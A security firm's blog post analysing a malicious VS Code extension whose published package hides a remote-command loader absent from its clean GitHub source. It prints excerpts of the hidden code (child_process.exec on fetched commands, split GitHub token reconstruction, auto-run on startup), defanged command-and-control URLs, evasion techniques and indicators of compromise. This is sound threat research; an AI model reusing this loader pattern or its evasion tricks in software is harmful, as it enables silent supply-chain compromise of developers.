Copilot Readiness and Enterprise AI Security | Knostic Blog

The Source Looked Clean. The Binary Wasn't.

Written by Tamir Isaschar | Jun 29, 2026 8:52:41 PM

Sample

api-reactor.vsix — NoahBit.api-reactor v0.0.1

SHA-256

ca272b481f630635cd059f85321dbc7be372e75820536ccbfd29dfcf571ab45c

Publisher

NoahBit (GitHub: Noaho950)

Marketplace

VS Code

Published

June 23, 2026 — 3 installs at time of detection

AgentMesh

https://agentmesh.knostic.ai/extensions/130339

Analysis

Static only — VSIX contents, no execution

Stage-2 payload (retrieved)

curl hxxp://127[.]0[.]0[.]1:8080 — unchanged at publication

How It Started

AgentMesh flagged the extension as dangerous, identifying a remote command execution workflow and an embedded GitHub PAT. We then manually analyzed the published VSIX to validate those findings, compare it with the linked GitHub repository, reconstruct the embedded PAT, and retrieve the second-stage payload.

The Binary Told a Different Story

A .vsix is a ZIP archive. The compiled entry point — out/extension.js — is what VS Code loads at runtime. The GitHub repository contains a 170-line src/extension.ts implementing the documented API testing functionality. The distributed VSIX contains a compiled out/extension.js with additional functionality that does not exist anywhere in the public repository or its commit history.

 

GitHub source — src/extension.ts

Distributed VSIX — out/extension.js

170 lines · Imports: vscode, fs, path only


EndpointItem and CategoryItem tree item classes


ApiReactorProvider — loads definitions, renders sidebar


activate() — registers commands, tree view, autoFetch check


No shell execution. No external network access beyond user config.

225 lines · Adds: child_process


All of the above, plus:


_sync(context) — reads config, reconstructs PAT, fetches remote file


_apply(command) — passes each line to child_process.exec()


await _sync(context) — unconditional, final line of activate()


None of these appear in any GitHub commit.

What Was Added

✓ Confirmed by Evidence

These additions work together as a single execution flow. Each component serves a distinct role: _sync() retrieves the remote command file, _apply() executes each command, and the final await _sync(context) ensures the workflow runs automatically whenever the extension is activated.

// Line 41 of VSIX extension.js — not present in the public GitHub source
const child_process_1 = require("child_process");

// _apply() — executes each retrieved command (lines 198–205 of VSIX extension.js)
function _apply(command) {
try {
(0, child_process_1.exec)(command, () => { });
} catch (err) {
// silently ignore
}
}

The compiled JavaScript invokes child_process.exec() using the emitted form (0, child_process_1.exec)(...), which is functionally equivalent to exec(command).

// Line 222 of VSIX extension.js — final line of activate()
await _sync(context);

The retrieval workflow executes automatically whenever the extension is activated.

Execution Flow

 

The Embedded Configuration

✓ Confirmed by Evidence

The launch.json bundled in the VSIX had been modified relative to the version in the GitHub repository. The GitHub version is a standard VS Code development configuration. The bundled VSIX retains that configuration but appends two additional fields:

// Additional fields found only in the VSIX launch.json
+ "_u": "hxxps://raw[.]githubusercontent[.]com/Noaho950/api-testing-com/main/metadata.txt",
+ "_t": "[REDACTED]"

Neither _u nor _t is part of the standard VS Code launch configuration. Both are read exclusively by the hidden _sync() function. The repository api-testing-com appears nowhere in the Marketplace listing, the documentation, or the declared extension repository.

The GitHub PAT is split across two files: the github_pat_ prefix is hardcoded in extension.js, while the suffix is stored in launch.json. Neither file contains the complete credential on its own. The reconstruction is explicit in the code:

// Reconstruct full PAT
const token = `github_pat_${tokenSuffix}`;

Verifying the Channel

We reconstructed the credential from the distributed artifact and performed a static fetch — no execution of the extension.

The command delivery mechanism remained operational at the time of publication. The private repository Noaho950/api-testing-com was accessible, metadata.txt was present, and the reconstructed PAT successfully authenticated against the GitHub API. Across multiple verification attempts, the retrieved payload remained unchanged.

curl hxxp://127[.]0[.]0[.]1:8080

The retrieved command targets localhost:8080. The extension itself does not define what, if anything, is listening on that port. It simply executes the command supplied through the remotely hosted file. Because that file is remotely controlled, the executed command can be changed without republishing the extension.

The file is mutable. The repository owner can update it without releasing a new extension version. Any installed instance would execute the updated content on next VS Code startup, silently, with no indication to the user.

What the Repository Showed

The GitHub account Noaho950 was created June 22, 2026 — one day before publication. The repository has six commits across a two-day window. The entire commit history is clean: no _sync(), no _apply(), no child_process, and no non-standard launch.json fields across any revision.

The Marketplace icon includes a C2PA content provenance manifest — a digital signing standard for AI-generated imagery — identifying it as produced by OpenAI's image API on June 23, 2026. The extension was scaffolded with yo code and developed under the working name api-testing-suite before renaming; that original name remains unchanged in the bundled changelog.md. The functional cover is complete: the extension does exactly what it says.

Reviewing only the public GitHub source would have found nothing. The additions exist only in the compiled artifact that was uploaded to the Marketplace.

Why This Matters

The VS Code Marketplace distributes build artifacts, not source code. Users install the published VSIX, yet the platform does not verify that the distributed binary corresponds to the linked public repository.

This case demonstrates why reviewing source code alone is not always sufficient.

  • Source review finds nothing. The public repository is clean across every commit. SAST tools run against the TypeScript source would not flag it.
  • The PAT split defeats file-level secret scanning. The token is distributed across two files. Neither half alone matches detectable token patterns.
  • Indirect exec() evades grep-based detection. (0, child_process_1.exec)(command) does not match common exec( pattern searches.
  • Silent activation requires no user interaction. onStartupFinished fires on every VS Code launch without the extension's UI being opened.

None of these techniques is novel. Applied consistently, they are sufficient to pass first-pass review.

When source code and distributed binaries can diverge without external verification, the VSIX — not the repository — is the artifact that deserves security review.

Indicators of Compromise

Type

Value

Extension

NoahBit.api-reactor v0.0.1

VSIX SHA-256

ca272b481f630635cd059f85321dbc7be372e75820536ccbfd29dfcf571ab45c

Publisher GitHub

Noaho950

C2 repository (defanged)

hxxps://github[.]com/Noaho950/api-testing-com

C2 URL (defanged)

hxxps://raw[.]githubusercontent[.]com/Noaho950/api-testing-com/main/metadata.txt

Stage-2 payload

curl hxxp://127[.]0[.]0[.]1:8080

Malicious functions

_sync(), _apply()

Activation event

onStartupFinished

PAT prefix (hardcoded)

github_pat_

Published

June 23, 2026